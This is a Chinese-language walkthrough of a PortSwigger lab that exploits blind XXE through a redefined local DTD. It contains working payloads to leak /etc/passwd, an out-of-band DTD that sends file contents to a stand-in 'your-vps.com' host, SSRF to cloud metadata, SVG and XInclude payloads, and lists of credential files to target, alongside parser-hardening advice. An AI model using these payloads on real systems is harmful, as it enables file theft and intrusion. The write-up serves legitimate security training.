1. 项目概述盲打XXE与本地DTD的巧妙利用最近在复现Burp Suite官方靶场里的一个XXE漏洞实验题目叫“利用盲XXE通过恶意外部DTD窃取数据”。这个实验的难点在于它是一个“盲”的XXE场景也就是说服务器虽然会解析我们提交的XML但并不会在响应中直接回显解析结果。我们无法像传统XXE那样通过一个实体引用直接把/etc/passwd文件的内容读出来并显示在页面上。这就像你对着一个黑盒子说话你知道它在处理你的输入但你看不到它的输出。靶场的目标是让我们通过触发一个错误信息来间接地“看到”文件内容。这听起来有点绕但其中利用“本地DTD重定义”的技巧非常精妙是深入理解XXE攻击链和XML解析器行为的绝佳案例。XXEXML External Entity Injection漏洞的核心在于当应用程序解析用户可控的XML输入时如果配置不当允许加载外部实体攻击者就能构造特殊的XML读取服务器上的任意文件、发起内部网络请求甚至在某些情况下导致拒绝服务。而“盲”XXE则是这种漏洞的一种更隐蔽的形态。在这个靶场中我们面对的就是一个典型的盲XXE场景一个商品库存检查功能后端接收XML格式的库存查询请求进行处理但返回的响应里只包含“有货”或“无货”这样的状态并不包含我们注入的实体所引用的内容。我们的任务就是在这个“有去无回”的通信中找到一条迂回路径把/etc/passwd文件的内容给带出来。2. 核心原理从外部DTD到内部实体重定义要理解这个攻击得先拆解几个关键概念。首先是DTDDocument Type Definition文档类型定义。你可以把它理解为XML文档的“语法说明书”或“模板”它定义了XML文档中允许出现的元素、属性以及实体。实体是XML中定义可复用数据片段的机制比如在DTD中定义!ENTITY author “PortSwigger”之后在XML文档里就可以用author;来引用这个值。XXE攻击常常利用SYSTEM关键字来定义外部实体例如!ENTITY xxe SYSTEM “file:///etc/passwd”。如果解析器允许外部实体扩展那么引用xxe;的地方就会被文件内容替换。但在盲XXE中这个替换结果我们看不到。这时就需要“带外”Out-of-Band, OOB技术。基本思路是我们让服务器去加载一个存放在我们可控服务器如Burp Collaborator上的外部DTD文件。这个恶意的DTD文件中定义了实体该实体的值会尝试读取目标文件如/etc/passwd并将内容作为参数向我们的服务器发起一个HTTP或DNS请求。通过检查我们服务器收到的请求就能间接获取文件内容。这是一种非常有效的方法。然而这个靶场采用的是一种更进阶、更优雅的技术利用服务器上已存在的本地DTD文件。为什么这么做因为在某些严格的网络环境或配置下服务器端的XML解析器可能被设置为禁止加载任何外部的DTD即externalSubset被禁用。这会直接封死传统的OOB攻击路径。但是XML规范允许在内部子集即XML文档内部定义的DTD部分中“重写”或“重定义”在外部或本地DTD中已声明的参数实体。这就给我们留下了操作空间。攻击链条是这样的定位一个已知的本地DTD文件我们需要知道目标服务器文件系统上一个确切的DTD文件路径。这个文件是系统自带的比如Linux GNOME桌面环境下常见的/usr/share/yelp/dtd/docbookx.dtd。导入这个本地DTD在我们的恶意XML中通过参数实体引入这个本地DTD文件。重定义其中的一个参数实体在导入之后、引用之前我们立即在内部子集中重新定义该DTD文件中的某个参数实体。我们在这个重定义中嵌入我们想要执行的恶意操作链。触发错误信息泄露我们设计的恶意操作链其最终目的是触发一个XML解析错误并且让这个错误信息中包含目标文件/etc/passwd的内容。这种方法的巧妙之处在于它完全在XML解析的内部流程中完成没有向外部网络发起任何请求从而绕过了对外部DTD加载的限制。它利用的是服务器自身的、合法的资源本地DTD作为攻击跳板。2.1 关键组件解析参数实体与错误处理这里涉及两个关键点参数实体Parameter Entity和错误处理。参数实体是专门用在DTD中的实体以百分号%定义和引用。它们通常用于在DTD内部模块化地声明元素或属性列表。在我们的攻击载荷中会大量使用参数实体来构建多级引用和嵌套。错误处理则是我们获取数据的出口。XML解析器在处理实体时如果遇到问题比如尝试用一个不存在的文件路径来定义实体会生成错误。我们的攻击载荷就是精心构造一个场景让解析器在尝试定义或扩展某个实体时必须先去读取/etc/passwd文件并将文件内容作为实体值的一部分然后这个包含文件内容的实体值又会导致另一个解析错误例如尝试访问一个以文件内容命名的、不存在的路径。最终这个嵌套了文件内容的错误信息会被服务器返回给我们。注意这种通过错误信息回显数据的方式要求服务器配置为将内部错误详情如Java的堆栈跟踪、libxml的详细错误返回给客户端。在生产环境中这通常是不安全的配置但在CTF靶场和某些测试场景中很常见。3. 靶场实战一步步拆解攻击载荷让我们回到Burp Suite的靶场。场景是一个电商网站商品详情页有个“Check stock”功能。用Burp Suite拦截这个POST请求发现它发送的是XML格式的数据类似下面这样?xml version1.0 encodingUTF-8? stockCheck productId1/productId storeId1/storeId /stockCheck我们的目标是在这个请求中注入恶意XML触发错误并泄露/etc/passwd。官方提供的解决方案载荷非常经典我们逐层拆解!DOCTYPE message [ !ENTITY % local_dtd SYSTEM file:///usr/share/yelp/dtd/docbookx.dtd !ENTITY % ISOamso !ENTITY #x25; file SYSTEM file:///etc/passwd !ENTITY #x25; eval !ENTITY #x26;#x25; error SYSTEM #x27;file:///nonexistent/#x25;file;#x27; #x25;eval; #x25;error; %local_dtd; ]第一层建立攻击基础!ENTITY % local_dtd SYSTEM “file:///usr/share/yelp/dtd/docbookx.dtd”这行定义了一个参数实体%local_dtd;它的值是服务器本地DTD文件的路径。SYSTEM “file:///…”指示解析器去加载这个文件。这是我们的攻击跳板。第二层重定义目标实体!ENTITY % ISOamso ‘ … ‘这行是关键。它重新定义了名为ISOamso的参数实体。注意ISOamso是目标本地DTD文件docbookx.dtd中已经存在的一个实体。我们通过内部子集覆盖了它的定义。新的定义是一个很长的字符串用单引号包裹。第三层嵌套的恶意逻辑字符串内的实体定义在新的%ISOamso;定义字符串内部我们嵌入了更多的XML实体声明。注意为了在字符串内正确表示百分号%和等特殊字符我们使用了HTML实体编码#x25;代表%#x26;代表#x27;代表’。当外层定义被解析时这些编码会被解码。!ENTITY #x25; file SYSTEM “file:///etc/passwd”解码后是!ENTITY % file SYSTEM “file:///etc/passwd”。这定义了一个参数实体%file;其值将是/etc/passwd文件的内容。!ENTITY #x25; eval “!ENTITY #x26;#x25; error SYSTEM #x27;file:///nonexistent/#x25;file;#x27;”解码后是!ENTITY % eval “!ENTITY % error SYSTEM ‘file:///nonexistent/%file;’”。这定义了一个参数实体%eval;它的值是一段字符串这段字符串本身又是一个实体声明声明了一个名为%error;的参数实体其SYSTEM标识符是file:///nonexistent/%file;。注意这里嵌套引用了%file;。第四层执行链#x25;eval;和#x25;error;解码后是%eval;和%error;。这是触发攻击的执行步骤。%eval;当解析器遇到这个引用时会去扩展%eval;实体。扩展的结果就是执行其值中的声明即定义%error;实体。此时%error;的定义变成了SYSTEM ‘file:///nonexistent/【/etc/passwd文件的实际内容】’。%error;紧接着解析器遇到%error;引用于是尝试扩展它。扩展%error;意味着解析器需要去加载SYSTEM标识符指定的“文件”。这个“文件”的路径是file:///nonexistent/后面拼接上/etc/passwd的全部内容。这显然是一个不可能存在的、畸形的路径。最终触发错误当XML解析器尝试访问这个畸形的、包含文件内容的URI时必然失败并抛出一个错误。关键在于这个错误信息中通常会包含它尝试访问的URI也就是file:///nonexistent/root:x:0:0:root:/root:/bin/bash…。这样/etc/passwd文件的内容就随着错误信息被返回到了HTTP响应中。最后一步完成导入%local_dtd;这个引用放在最后。它会触发解析器去加载我们最初指定的本地DTD文件/usr/share/yelp/dtd/docbookx.dtd。在加载和解析这个外部DTD的过程中解析器会遇到其中对%ISOamso;实体的引用。由于我们在内部子集中已经重定义了%ISOamso;解析器将使用我们提供的、包含恶意代码的定义从而启动上述的攻击链。实操心得这个载荷的顺序很重要。必须先定义%local_dtd;和重定义%ISOamso;最后再引用%local_dtd;来触发。如果顺序错了解析流程会不同攻击可能失败。在Burp Repeater中测试时务必确保整个!DOCTYPE … ]块被完整地放在XML声明?xml …?之后原XML根元素如stockCheck之前。4. 工具与环境准备Burp Suite实战配置要进行这个实验你需要准备好环境。核心工具当然是Burp Suite社区版就足够。我建议使用Burp Suite内置的浏览器可以避免很多代理配置的麻烦。启动Burp Suite与浏览器打开Burp在Proxy-Intercept标签页确保拦截是关闭的Intercept is off。然后进入Dashboard点击Launch Burp’s browser。这会打开一个内置的Chromium浏览器其流量默认已通过Burp代理。访问靶场在Burp浏览器中访问PortSwigger的Web Security Academy登录你的账户找到“XXE injection”主题下的“Lab: Exploiting XXE to retrieve data by repurposing a local DTD”这个实验点击Access the lab。配置代理与SSL证书可选如果你使用自己的外部浏览器如Chrome、Firefox需要将其代理设置为127.0.0.1:8080Burp默认监听端口并在浏览器中访问http://burpsuite下载安装Burp的CA证书以解密HTTPS流量。对于初学者强烈建议直接使用Burp内置浏览器省去这些步骤。开始测试在实验页面随意点击一个商品如“Home”进入商品详情页。你会看到一个Check stock按钮。此时打开Burp的Proxy-Intercept点击Intercept is on开启拦截。4.1 Burp Repeater我们的主战场在实际操作中Repeater模块比一直开着拦截更方便。你可以先拦截到一次Check stock的请求然后右键点击请求报文选择Send to Repeater。这样你就能在Repeater标签页里反复修改和发送这个请求观察响应而不用每次都去点网页按钮。在Repeater中你会看到原始的POST请求其Content-Type是application/xml主体就是之前提到的简单XML。我们的任务就是在这个请求体里动手术。修改请求的注意事项保持请求头Content-Type: application/xml和Content-Length必须正确。当你修改了请求体后Burp通常会帮你自动更新Content-Length但最好确认一下。如果长度不对服务器可能直接拒绝解析。XML声明保留原始的?xml version”1.0″ encoding”UTF-8″?。注入位置将完整的恶意!DOCTYPE … ]块粘贴在XML声明之后在原始的stockCheck开始标签之前。确保格式良好没有多余的换行或空格破坏XML结构尽管XML通常对空白不敏感但保持整洁是好习惯。4.2 攻击载荷的变通与调试官方给出的载荷是针对特定DTD路径/usr/share/yelp/dtd/docbookx.dtd和特定实体ISOamso的。这是靶场预设的环境。在真实测试中你需要去发现或猜测目标服务器上存在的DTD文件。如何寻找可用的本地DTD这需要一些经验和信息搜集操作系统与应用程序指纹识别通过HTTP响应头、错误信息、默认页面等判断服务器是Linux还是Windows以及可能运行的Web框架、CMS如WordPress, Drupal或文档系统。不同的软件包会安装不同的DTD文件。常见DTD路径清单积累一个常见DTD路径的字典。例如Linux (GNOME):/usr/share/yelp/dtd/docbookx.dtd,/usr/share/xml/…下的各种DTD。Linux (一般):/etc/xml/catalog,/usr/lib/xml/…。Windows: 相对较少但一些安装的软件可能带来DTD。Java应用: 如果知道应用路径可能包含*.dtd文件。第三方库: 如log4j.dtd,struts-config*.dtd等。利用其他信息泄露如果存在目录遍历、源码泄露等其他漏洞可以先尝试读取可能的配置文件从中发现DTD引用路径。如果实体名不是ISOamso怎么办本地DTD文件中可能包含多个参数实体。你需要知道实体名才能重定义。有几种方法直接读取DTD文件如果你通过其他手段比如一个简单的文件读取XXE已经能读到这个DTD文件的内容就可以查看里面定义了哪些参数实体。盲猜与模糊测试可以准备一个常见的参数实体名列表如ISOamso,ISOamsa,ISOamsb,ENTITY,NDATA等进行批量测试。这需要自动化脚本配合。错误信息推测如果你重定义的实体名不存在XML解析器可能会报错例如“未声明的实体”。通过不同的错误信息有时可以推断实体是否存在。但这在盲XXE中比较困难。踩坑记录在真实测试中最大的挑战就是找不到合适的本地DTD或不知道实体名。我曾在一个测试中花了大量时间猜测路径最后发现目标是一个Windows服务器根本没有那些常见的Linux DTD路径。后来通过信息搜集发现它运行着一个老版本的文档管理系统才找到了其自带的DTD文件。所以信息搜集永远是第一步。5. 漏洞挖掘与拓展超越靶场的思考这个靶场教给我们一种在严格环境下利用XXE的技巧。但在实际渗透测试或安全研究中XXE的利用面要广得多。1. 盲XXE的带外OOB数据外泄这是更通用的盲XXE利用方式。你需要一个受控的服务器来接收数据。在VPS上放置一个恶意的DTD文件例如evil.dtd!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://your-vps.com/?data%file; %eval; %exfil;在目标请求中注入!DOCTYPE foo [!ENTITY % xxe SYSTEM http://your-vps.com/evil.dtd %xxe;]当XML被解析时会加载你的DTD执行其中的实体定义最终触发一个到http://your-vps.com/?data...的HTTP GET请求文件内容就在URL参数里。你可以通过VPS的Web日志查看。2. 利用XXE进行SSRF服务器端请求伪造XXE不仅可以读文件还能发起网络请求。通过定义实体为http://internal-service:port/可以探测或攻击内网服务。!DOCTYPE foo [!ENTITY xxe SYSTEM http://169.254.169.254/latest/meta-data/] stockCheckxxe;/stockCheck如果这个实体引用被回显就能看到云服务器元数据。即使在盲场景结合OOB技术也能通过DNS或HTTP请求来判断内网端口或服务的存活情况。3. 通过XInclude利用XXE有些应用接收用户输入后会将其嵌入到服务器端的XML文档中再解析。如果用户输入不能被直接放在DOCTYPE中可以尝试XInclude。foo xmlns:xihttp://www.w3.org/2001/XInclude xi:include parsetext hreffile:///etc/passwd//foo这需要后端解析器支持XInclude并且允许file://协议。4. 利用文件上传功能如果应用允许上传XML文件如SVG图片、Office文档并在后端解析这些文件就可能存在XXE。例如一个恶意的SVG文件?xml version1.0 standaloneyes? !DOCTYPE test [ !ENTITY xxe SYSTEM file:///etc/passwd ] svg width500px height500px xmlnshttp://www.w3.org/2000/svg text font-size16 x0 y16xxe;/text /svg5.1 防御视角如何避免XXE漏洞理解了攻击才能更好地防御。从开发和安全配置角度禁用外部实体和DTD这是最根本、最有效的方法。在现代XML解析库中通常有明确的设置选项。Java (DocumentBuilderFactory):DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); // 首选完全禁用DTD dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); // 禁用外部通用实体 dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false); // 禁用外部参数实体Python (lxml):from lxml import etree parser etree.XMLParser(resolve_entitiesFalse, no_networkTrue) # 禁用实体解析和网络访问PHP (libxml):libxml_disable_entity_loader(true);使用更安全的替代方案如果应用只需要处理简单的数据交换考虑使用JSON等更简单、默认不支持外部实体的格式。输入过滤与白名单对用户输入的XML进行严格的模式验证XSD过滤掉不必要的DOCTYPE声明。但这通常比较困难且容易绕过。输出编码确保任何从XML解析器中提取的数据在输出到前端时都经过正确的编码防止可能的注入虽然对XXE本身防御作用有限但能防其他问题。定期依赖库升级XML解析库本身也可能存在漏洞保持库版本更新。6. 常见问题与排查技巧实录在实际操作这个靶场或类似XXE测试时你可能会遇到一些问题。这里记录一些我踩过的坑和解决方法。问题1发送Payload后返回的依然是正常的“有货/无货”响应没有错误信息。可能原因1Payload格式或位置错误。检查!DOCTYPE … ]是否完整地放在了XML声明之后、根元素之前。检查是否有拼写错误特别是实体编码#x25;等是否正确。确保整个XML结构仍然是良构的Well-formed。可以在Burp Repeater里先用一个简单的!ENTITY xxe SYSTEM “file:///etc/passwd”测试一下基础XXE是否被禁用如果这个都不行说明外部实体完全被禁但本地DTD重定义可能还有戏。可能原因2本地DTD路径或实体名不对。靶场环境是固定的/usr/share/yelp/dtd/docbookx.dtd和ISOamso。如果是在其他环境需要更换。可以尝试一些其他常见路径或者先尝试用简单文件读取确认路径是否存在。可能原因3服务器错误被全局处理未返回给客户端。有些应用配置了全局异常处理器将所有错误信息转换为统一的“500 Internal Server Error”页面不泄露细节。这种情况下这种基于错误回显的攻击方式就失效了需要转向纯OOB外带数据的方式。问题2返回了错误信息但里面没有/etc/passwd的内容而是其他错误。查看错误详情仔细阅读错误信息。如果是“无法打开外部实体”、“不允许外部DTD”之类的说明解析器配置严格本地DTD文件都无法加载。如果是“实体未定义”之类的可能是实体名ISOamso不对。尝试简化Payload可以先尝试一个极简的测试确认基础文件读取是否可行!DOCTYPE test [ !ENTITY xxe SYSTEM “file:///etc/hostname” ]stockCheckxxe;/stockCheck。如果这个能成功在响应中看到主机名说明是盲XXE但非严格过滤我们的复杂Payload可能构造有误。如果这个失败但返回的错误信息不同可以对比分析。问题3在真实环境中测试如何自动化探测XXE手动测试效率低。可以结合Burp Suite的Intruder或Scanner模块。使用Intruder进行模糊测试将请求中可能的XML注入点如productId的值标记为Payload位置。准备两份Payload集一份是各种XXE Payload文件读取、OOB、本地DTD等另一份是用于污染XML结构的特殊字符如,,,’,”。观察响应长度、状态码和内容的变化。响应变慢可能意味着发起了外部网络请求SSRF响应出现错误信息则是明显标志。使用Burp Scanner专业版功能Burp的主动扫描器内置了XXE检测规则能够自动识别潜在的注入点并尝试多种Payload包括盲XXE的OOB检测利用Burp Collaborator。这是最省力的方法。自定义Collaborator Payload对于盲XXE最可靠的检测方式是使用OOB。你可以手动在Payload中使用Burp Collaborator域名在Burp中点击Burp-Collaborator client-Copy to clipboard获取一个临时域名。例如!DOCTYPE test [ !ENTITY xxe SYSTEM “http://YOUR_SUBDOMAIN.burpcollaborator.net” ]。然后发送请求稍后在Collaborator客户端点击Poll now查看是否有HTTP或DNS交互记录。有任何记录都强烈表明存在XXE漏洞。问题4除了/etc/passwd还能读什么敏感配置文件/etc/shadow需要root、~/.ssh/id_rsa用户私钥、/etc/apache2/.htpasswd、Web应用的配置文件如config.php,web.config,application.properties。源码通过file://协议读取Web应用的源代码有助于进一步审计。Windows系统路径格式为file:///C:/windows/system32/drivers/etc/hosts。可以尝试读取C:\boot.ini旧系统、C:\Windows\System32\config\SAM通常被锁、用户目录下的文件等。注意编码问题读取包含特殊字符如,,”的文件时这些字符可能会破坏XML结构导致解析错误数据提取不完整。在OOB利用中可以考虑使用FTP协议或Base64编码如果PHP环境支持php://filter/convert.base64-encode/resource这类包装器来获取完整数据。这个靶场虽然只是一个具体的实验但它揭示的原理和技巧是通用的。从简单的文件读取到盲XXE的OOB外带再到利用本地DTD这种高级技巧XXE的利用深度远超很多人的想象。防守方必须从根本上禁用不必要的XML功能而攻击方则需要不断积累Payload、熟悉各种解析器的特性和常见的系统文件路径。每一次测试都是一次对目标系统配置和开发者安全意识深度的探针。